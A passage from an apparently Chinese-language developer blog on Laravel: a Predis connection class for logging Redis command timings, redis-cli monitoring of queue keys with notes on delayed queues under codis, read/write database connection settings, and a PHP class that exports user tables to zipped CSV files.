class="class"></span>&#123;</span><br><span class="line">    private $tstart = <span class="number">0</span>;</span><br><span class="line">    private $debugBuffer = array();</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">connect</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;tstart = microtime(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">        parent::connect();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">storeDebug</span>(<span class="params">CommandInterface $command, $direction</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $firtsArg = $command-&gt;getArguments();</span><br><span class="line">        $timestamp = (microtime(<span class="literal">true</span>) - $<span class="keyword">this</span>-&gt;tstart) * <span class="number">1000</span>;</span><br><span class="line">        $log = [];</span><br><span class="line">        $log[<span class="string">'cmd'</span>] = $command-&gt;getId();</span><br><span class="line">        $log[<span class="string">'key'</span>] = isset($firtsArg) ?  $firtsArg  : <span class="string">' '</span>;</span><br><span class="line">        $log[<span class="string">'server'</span>] = <span class="string">"$direction $this"</span>;</span><br><span class="line">        $log[<span class="string">'time'</span>] = $timestamp;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;sysLog([<span class="string">'rs'</span> =&gt; trim($log[<span class="string">'server'</span>]), <span class="string">'cmd'</span> =&gt; $command-&gt;getId(), <span class="string">'rs_info'</span> =&gt; $log[<span class="string">'key'</span>], <span class="string">'rs_type'</span> =&gt; <span class="number">2</span>, <span class="string">'t_total'</span> =&gt; $timestamp, <span class="string">'msg'</span> =&gt; [<span class="string">'host'</span> =&gt; explode(<span class="string">':'</span>, trim($log[<span class="string">'server'</span>]))[<span class="number">0</span>], <span class="string">'port'</span> =&gt; explode(<span class="string">':'</span>, trim($log[<span class="string">'server'</span>]))[<span class="number">1</span>]]]);</span><br><span class="line"><span class="comment">//        dump($log);</span></span><br><span class="line"><span class="comment">//        $this-&gt;debugBuffer[] = &amp;$log;</span></span><br><span class="line">        unset($log);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">writeRequest</span>(<span class="params">CommandInterface $command</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        parent::writeRequest($command);</span><br><span class="line"></span><br><span class="line"><span class="comment">//        $this-&gt;storeDebug($command, '-&gt;');</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">readResponse</span>(<span class="params">CommandInterface $command</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $response = parent::readResponse($command);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;storeDebug($command, <span class="string">''</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $response;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">getDebugBuffer</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;debugBuffer;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">debug</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $options = array(</span><br><span class="line">            <span class="string">'connections'</span> =&gt;[</span><br><span class="line">                <span class="string">'tcp'</span> =&gt; <span class="string">'\App\Services\RedisLog'</span>,</span><br><span class="line">            ],</span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        $client = <span class="keyword">new</span> \Predis\Client(config(<span class="string">'database.redis.log'</span>), $options);</span><br><span class="line">        $client-&gt;get(<span class="string">'redis:debug:test'</span>);</span><br><span class="line"></span><br><span class="line">        var_export($client-&gt;getConnection());</span><br><span class="line">        <span class="comment">/* OUTPUT:</span></span><br><span class="line"><span class="comment">        array (</span></span><br><span class="line"><span class="comment">          0 =&gt; 'SELECT 15 -&gt; 127.0.0.1:6379 [0.0008s]',</span></span><br><span class="line"><span class="comment">          1 =&gt; 'SELECT 15 &lt;- 127.0.0.1:6379 [0.001s]',</span></span><br><span class="line"><span class="comment">          2 =&gt; 'SET foo -&gt; 127.0.0.1:6379 [0.001s]',</span></span><br><span class="line"><span class="comment">          3 =&gt; 'SET foo &lt;- 127.0.0.1:6379 [0.0011s]',</span></span><br><span class="line"><span class="comment">          4 =&gt; 'GET foo -&gt; 127.0.0.1:6379 [0.0013s]',</span></span><br><span class="line"><span class="comment">          5 =&gt; 'GET foo &lt;- 127.0.0.1:6379 [0.0015s]',</span></span><br><span class="line"><span class="comment">          6 =&gt; 'INFO -&gt; 127.0.0.1:6379 [0.0019s]',</span></span><br><span class="line"><span class="comment">          7 =&gt; 'INFO &lt;- 127.0.0.1:6379 [0.0022s]',</span></span><br><span class="line"><span class="comment">        )</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">cat config/database.php</span><br><span class="line"></span><br><span class="line"><span class="string">'options'</span> =&gt; [</span><br><span class="line">            <span class="string">'replication'</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">'connections'</span> =&gt;[</span><br><span class="line">                <span class="string">'tcp'</span> =&gt; <span class="string">'\App\Services\RedisLog'</span>,</span><br><span class="line">            ],</span><br><span class="line">        ],</span><br></pre></td></tr></table></figure>
<h3 id="监控redis对应队列消息"><a href="#监控redis对应队列消息" class="headerlink" title="监控redis对应队列消息"></a>监控redis对应队列消息</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//laravel-china.org/articles/4479/analysis-of-laravel-queue-usage</span></span><br><span class="line">tail -f | redis-cli -h <span class="number">10.94</span><span class="number">.120</span><span class="number">.13</span> -p <span class="number">6380</span> monitor | grep <span class="string">"queues:snail"</span></span><br><span class="line"></span><br><span class="line"><span class="number">1492446053.406282</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"WATCH"</span> <span class="string">"queues:snail:SendMessage:delayed"</span></span><br><span class="line"><span class="number">1492446053.406452</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"ZRANGEBYSCORE"</span> <span class="string">"queues:snail:SendMessage:delayed"</span> <span class="string">"-inf"</span> <span class="string">"1492446053"</span></span><br><span class="line"><span class="number">1492446053.406754</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"WATCH"</span> <span class="string">"queues:snail:SendMessage:reserved"</span></span><br><span class="line"><span class="number">1492446053.406842</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"ZRANGEBYSCORE"</span> <span class="string">"queues:snail:SendMessage:reserved"</span> <span class="string">"-inf"</span> <span class="string">"1492446053"</span></span><br><span class="line"><span class="number">1492446053.407029</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"LPOP"</span> <span class="string">"queues:snail:SendMessage"</span></span><br><span class="line"><span class="number">1492446053.407700</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"ZADD"</span> <span class="string">"queues:snail:SendMessage:reserved"</span> <span class="string">"1492446113"</span> <span class="string">"&#123;job&#125;"</span></span><br><span class="line"><span class="number">1492446053.463953</span> [<span class="number">0</span> <span class="number">10.95</span><span class="number">.117</span><span class="number">.155</span>:<span class="number">57132</span>] <span class="string">"ZREM"</span> <span class="string">"queues:snail:SendMessage:reserved"</span> <span class="string">"&#123;job&#125;"</span></span><br><span class="line"></span><br><span class="line">laravel这边的延迟队列使用了三个队列。</span><br><span class="line"></span><br><span class="line">queue:<span class="keyword">default</span>:delayed <span class="comment">// 存储延迟任务</span></span><br><span class="line">queue:<span class="keyword">default</span> <span class="comment">// 存储“生”任务，就是未处理任务</span></span><br><span class="line">queue:<span class="keyword">default</span>:reserved <span class="comment">// 存储待处理任务</span></span><br><span class="line">任务在三个队列中进行轮转，最后一定进入到queue:<span class="keyword">default</span>:reserved，并且成功后把任务从这个队列中删除。</span><br><span class="line"></span><br><span class="line">laravel5<span class="number">.1</span> 使用了watch来控制队列的原子操作，但由于codis本身不支持 watch 方法。所以使用codis不能完全体验队列功能：延迟队列不支持、不支持数据重跑，对线上数据比较严格操作谨慎使用。</span><br><span class="line"></span><br><span class="line">laravel5<span class="number">.3</span> 之后redis队列 开始使用lua脚本支持的队列原子操作，它没有使用 watch multi等操作，所以如果线上codis 支持lua的话，可以完整体验到队列功能。</span><br></pre></td></tr></table></figure>
<h3 id="使用写库读数据"><a href="#使用写库读数据" class="headerlink" title="使用写库读数据"></a>使用写库读数据</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$user = DB::selectFromWriteConnection(<span class="string">'select * from users where id=42111'</span>);</span><br><span class="line">User::onWriteConnection()-&gt;find($id);</span><br><span class="line">cat config/database.php</span><br><span class="line">  <span class="string">'sticky'</span>    =&gt; <span class="literal">true</span>, <span class="comment">// laravel 5.5 新增</span></span><br><span class="line">$sql = <span class="string">'select * from a'</span>;</span><br><span class="line">DB::select($sql, [], <span class="literal">false</span>);</span><br><span class="line">#在 config/database.php 配置文件里面配置读库</span><br><span class="line"><span class="string">'write'</span> =&gt; [</span><br><span class="line">            <span class="string">'driver'</span>    =&gt; <span class="string">'mysql'</span>,</span><br><span class="line">            <span class="string">'host'</span>      =&gt; env(<span class="string">'DB_WRITE_HOST'</span>, <span class="string">'localhost'</span>),</span><br><span class="line">            <span class="string">'database'</span>  =&gt; env(<span class="string">'DB_DATABASE'</span>, <span class="string">'forge'</span>),</span><br><span class="line">            <span class="string">'username'</span>  =&gt; env(<span class="string">'DB_USERNAME'</span>, <span class="string">'forge'</span>),</span><br><span class="line">            <span class="string">'password'</span>  =&gt; env(<span class="string">'DB_PASSWORD'</span>, <span class="string">''</span>),</span><br><span class="line">            <span class="string">'charset'</span>   =&gt; <span class="string">'utf8'</span>,</span><br><span class="line">            <span class="string">'collation'</span> =&gt; <span class="string">'utf8_unicode_ci'</span>,</span><br><span class="line">            <span class="string">'prefix'</span>    =&gt; <span class="string">''</span>,</span><br><span class="line">            <span class="string">'strict'</span>    =&gt; <span class="literal">false</span>,</span><br><span class="line">        ],</span><br><span class="line">#手动链接主库查询</span><br><span class="line">DB::connection(<span class="string">'write'</span>)-&gt;table(<span class="string">'a'</span>)-&gt;get();</span><br><span class="line">$pdo = DB::connection()-&gt;getPdo();</span><br><span class="line">$data=DB::connection()-&gt;setPdo($pdo)-&gt;table(<span class="string">'a'</span>)-&gt;get();</span><br></pre></td></tr></table></figure>
<h3 id="Excel-导出"><a href="#Excel-导出" class="headerlink" title="Excel 导出"></a>Excel 导出</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ExcelExport</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">	<span class="comment">//字段对应的标题https://github.com/xcjiu/php-excel</span></span><br><span class="line">	private $title = [];</span><br><span class="line">	<span class="comment">//文件名</span></span><br><span class="line">	private $filename = <span class="string">''</span>;</span><br><span class="line">	<span class="comment">//字段值过滤器</span></span><br><span class="line">	private $filter = []; </span><br><span class="line">	<span class="comment">//存储文件的临时目录</span></span><br><span class="line">	private $stodir = <span class="string">'../tmp/'</span>;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 生成 excel 数据表文件</span></span><br><span class="line"><span class="comment">	 * @param  array  $data 要导出的数据</span></span><br><span class="line"><span class="comment">	 * @return bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	public <span class="function"><span class="keyword">function</span> <span class="title">excel</span>(<span class="params">$data=[], $i=<span class="number">1</span></span>) </span></span><br><span class="line"><span class="function">	</span>&#123;  </span><br><span class="line">		set_time_limit(<span class="number">0</span>);</span><br><span class="line">	    header(<span class="string">"Content-type: text/html; charset=utf-8"</span>);</span><br><span class="line"> 		<span class="keyword">if</span>($data &amp;&amp; is_array($data))&#123;</span><br><span class="line"> 			$filename = $<span class="keyword">this</span>-&gt;filename ? $<span class="keyword">this</span>-&gt;filename : date(<span class="string">'Y_m_d'</span>);</span><br><span class="line">			$filter = $<span class="keyword">this</span>-&gt;filter;</span><br><span class="line">			$current = current($data);</span><br><span class="line">			<span class="keyword">if</span>(is_array($current))&#123;</span><br><span class="line">				$filePath = $<span class="keyword">this</span>-&gt;stodir . $filename . <span class="string">"($i)"</span> . <span class="string">'.csv'</span>;</span><br><span class="line">				$fp = fopen($filePath, <span class="string">'a'</span>);</span><br><span class="line">				fputcsv($fp, $<span class="keyword">this</span>-&gt;titleColumn(array_keys($current)));</span><br><span class="line">				foreach ($data <span class="keyword">as</span> &amp;$row) &#123;</span><br><span class="line">					foreach ($row <span class="keyword">as</span> $k =&gt; &amp;$v) &#123;</span><br><span class="line">						<span class="keyword">if</span>(isset($filter[$k]))&#123;</span><br><span class="line">							<span class="keyword">if</span>($filter[$k]==<span class="string">'datetime'</span>)&#123;</span><br><span class="line">								$v = date(<span class="string">"Y-m-d H:i:s"</span>,$v);</span><br><span class="line">							&#125;</span><br><span class="line">							<span class="keyword">if</span>($filter[$k]==<span class="string">'date'</span>)&#123;</span><br><span class="line">								$v = date(<span class="string">"Y-m-d"</span>,$v);</span><br><span class="line">							&#125;</span><br><span class="line">							<span class="keyword">if</span>(is_array($filter[$k]))&#123;</span><br><span class="line">								$v = isset($filter[$k][$v]) ? $filter[$k][$v] : $v;</span><br><span class="line">							&#125;</span><br><span class="line">						&#125;</span><br><span class="line">					&#125;</span><br><span class="line">					fputcsv($fp, $row);</span><br><span class="line">				&#125;</span><br><span class="line">				fclose($fp);</span><br><span class="line">				unset($data);</span><br><span class="line">				<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 打包好zip文件并导出</span></span><br><span class="line"><span class="comment">	 * @param  [type] $filename [description]</span></span><br><span class="line"><span class="comment">	 * @return [type]           [description]</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	public <span class="function"><span class="keyword">function</span> <span class="title">fileload</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$zipname = <span class="string">"../"</span> . $<span class="keyword">this</span>-&gt;filename. <span class="string">'.zip'</span>;</span><br><span class="line">		$zipObj = <span class="keyword">new</span> ZipArchive();</span><br><span class="line">		<span class="keyword">if</span>($zipObj-&gt;open($zipname, <span class="attr">ZipArchive</span>::CREATE) === <span class="literal">true</span>)&#123;</span><br><span class="line">			$res = <span class="literal">false</span>;</span><br><span class="line">			foreach(glob($<span class="keyword">this</span>-&gt;stodir . <span class="string">"*"</span>) <span class="keyword">as</span> $file)&#123; </span><br><span class="line">	            $res = $zipObj-&gt;addFile($file);</span><br><span class="line">	        &#125;</span><br><span class="line">			$zipObj-&gt;close();</span><br><span class="line">			<span class="keyword">if</span>($res)&#123;</span><br><span class="line">				header (<span class="string">"Cache-Control: max-age=0"</span>);</span><br><span class="line">				header(<span class="string">"Content-Description: File Transfer"</span>);</span><br><span class="line">				header(<span class="string">"Content-Disposition: attachment;filename ="</span> . $zipname);</span><br><span class="line">				header(<span class="string">'Content-Type: application/zip'</span>);</span><br><span class="line">				header(<span class="string">'Content-Transfer-Encoding: binary'</span>);</span><br><span class="line">				header (<span class="string">'Content-Length: '</span> . filesize($zipname));</span><br><span class="line">				@readfile($zipname);<span class="comment">//输出文件;</span></span><br><span class="line">				<span class="comment">//清理临时目录和文件</span></span><br><span class="line">				$<span class="keyword">this</span>-&gt;deldir($<span class="keyword">this</span>-&gt;stodir); </span><br><span class="line">				@unlink($zipname);</span><br><span class="line">				ob_flush();</span><br><span class="line">				flush();</span><br><span class="line">			&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">				$<span class="keyword">this</span>-&gt;deldir($<span class="keyword">this</span>-&gt;stodir); </span><br><span class="line">				ob_flush();</span><br><span class="line">				flush();</span><br><span class="line">				die(<span class="string">'暂无文件可下载！'</span>);</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">			$<span class="keyword">this</span>-&gt;deldir($<span class="keyword">this</span>-&gt;stodir); </span><br><span class="line">			ob_flush();</span><br><span class="line">			flush();</span><br><span class="line">			die(<span class="string">'文件压缩失败！'</span>);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 清理目录，删除指定目录下所有内容及自身文件夹</span></span><br><span class="line"><span class="comment">	 * @param  [type] $dir [description]</span></span><br><span class="line"><span class="comment">	 * @return [type]       [description]</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	private <span class="function"><span class="keyword">function</span> <span class="title">deldir</span>(<span class="params">$dir</span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">	    <span class="keyword">if</span>(is_dir($dir))&#123;</span><br><span class="line">	        foreach(glob($dir . <span class="string">'*'</span>) <span class="keyword">as</span> $file)&#123; </span><br><span class="line">	            <span class="keyword">if</span>(is_dir($file)) &#123; </span><br><span class="line">	                deldir($file); </span><br><span class="line">	                @rmdir($file);</span><br><span class="line">	            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">	                @unlink($file);</span><br><span class="line">	            &#125; </span><br><span class="line">	        &#125;</span><br><span class="line">	       @rmdir($dir); </span><br><span class="line">	    &#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 设置标题</span></span><br><span class="line"><span class="comment">	 * @param array $title 标题参数为字段名对应标题名称的键值对数组</span></span><br><span class="line"><span class="comment">	 * @return obj this </span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	public <span class="function"><span class="keyword">function</span> <span class="title">title</span>(<span class="params">$title</span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">if</span>($title &amp;&amp; is_array($title))&#123;</span><br><span class="line">			$<span class="keyword">this</span>-&gt;title = $title;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> $<span class="keyword">this</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 设置导出的文件名</span></span><br><span class="line"><span class="comment">	 * @param string $filename 文件名</span></span><br><span class="line"><span class="comment">	 * @return obj this </span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	public <span class="function"><span class="keyword">function</span> <span class="title">filename</span>(<span class="params">$filename</span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$<span class="keyword">this</span>-&gt;filename = date(<span class="string">'Y_m_d'</span>) . (string)$filename;</span><br><span class="line">		<span class="keyword">if</span>(!is_dir(<span class="string">"../"</span> . $<span class="keyword">this</span>-&gt;filename))&#123;</span><br><span class="line">			mkdir(<span class="string">"../"</span> . $<span class="keyword">this</span>-&gt;filename);</span><br><span class="line">		&#125;</span><br><span class="line">		$<span class="keyword">this</span>-&gt;stodir = <span class="string">"../"</span> . $<span class="keyword">this</span>-&gt;filename . <span class="string">"/"</span>;</span><br><span class="line">		<span class="keyword">return</span> $<span class="keyword">this</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 设置字段过滤器</span></span><br><span class="line"><span class="comment">	 * @param array $filter 文件名</span></span><br><span class="line"><span class="comment">	 * @return obj this </span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	public <span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params">$filter</span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$<span class="keyword">this</span>-&gt;filter = (array)$filter;</span><br><span class="line">		<span class="keyword">return</span> $<span class="keyword">this</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * 确保标题字段名和数据字段名一致,并且排序也一致</span></span><br><span class="line"><span class="comment">	 * @param  array $keys  要显示的字段名数组</span></span><br><span class="line"><span class="comment">	 * @return array 包含所有要显示的字段名的标题数组</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	protected <span class="function"><span class="keyword">function</span> <span class="title">titleColumn</span>(<span class="params">$keys</span>)</span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$title = $<span class="keyword">this</span>-&gt;title;</span><br><span class="line">		<span class="keyword">if</span>($title &amp;&amp; is_array($title))&#123;</span><br><span class="line">			$titleData = [];</span><br><span class="line">			foreach ($keys <span class="keyword">as</span> $v) &#123;</span><br><span class="line">				$titleData[$v] = isset($title[$v]) ? $title[$v] : $v;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">return</span> $titleData;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> $keys;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line">$limit = <span class="number">10000</span>; <span class="comment">//一次查询一万条记录</span></span><br><span class="line"></span><br><span class="line">$filename = <span class="string">'login_log'</span>;</span><br><span class="line"></span><br><span class="line">$title = [<span class="string">'id'</span>=&gt;<span class="string">'ID'</span>,<span class="string">'user_id'</span>=&gt;<span class="string">'用户id'</span>,<span class="string">'plat'</span>=&gt;<span class="string">'渠道'</span>,<span class="string">'username'</span>=&gt;<span class="string">'用户名'</span>,<span class="string">'sex'</span>=&gt;<span class="string">'性别'</span>,<span class="string">'ip'</span>=&gt;<span class="string">'用户ip'</span>,<span class="string">'register_time'</span>=&gt;<span class="string">'注册时间'</span>];</span><br><span class="line"></span><br><span class="line">$filter = [<span class="string">'register_time'</span>=&gt;<span class="string">'datetime'</span>];</span><br><span class="line"></span><br><span class="line">$con = mysqli_connect(<span class="string">'127.0.0.1'</span>,<span class="string">'root'</span>,<span class="string">'pass'</span>,<span class="string">'dbname'</span>) or die(<span class="string">'数据库连接不上'</span>);</span><br><span class="line"></span><br><span class="line">$countSql = <span class="string">"select count(*) from user"</span>;</span><br><span class="line"></span><br><span class="line">$count = mysqli_fetch_assoc(mysqli_query($con,$countSql));</span><br><span class="line"></span><br><span class="line">$total = $count[<span class="string">'count(*)'</span>];</span><br><span class="line"></span><br><span class="line">$excelObj = (<span class="keyword">new</span> ExcelExport())-&gt;filename($filename)-&gt;title($title)-&gt;filter($filter);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i &lt; ceil($total/$limit); $i++) &#123; <span class="comment">//分段查询, 一次$limit=10000条</span></span><br><span class="line">	$offset = $i * $limit;</span><br><span class="line">	$dataSql = <span class="string">"select * from user limit $limit offset $offset"</span>;</span><br><span class="line">	$result = mysqli_query($con, $dataSql);</span><br><span class="line">	$data = [];</span><br><span class="line">	<span class="keyword">while</span> ($row = mysqli_fetch_assoc($result)) &#123;</span><br><span class="line">		$data[] = $row;</span><br><span class="line">	&#125;</span><br><span class="line">	$res = $excelObj-&gt;excel($data, $i+<span class="number">1</span>); <span class="comment">//生成多个文件时的文件名后面会标注'（$i+1）'</span></span><br><span class="line">&#125;</span><br><span class="line">mysqli_close($con);</span><br><span class="line">$excelObj-&gt;fileload();</span><br></pre></td></tr></table></figure>
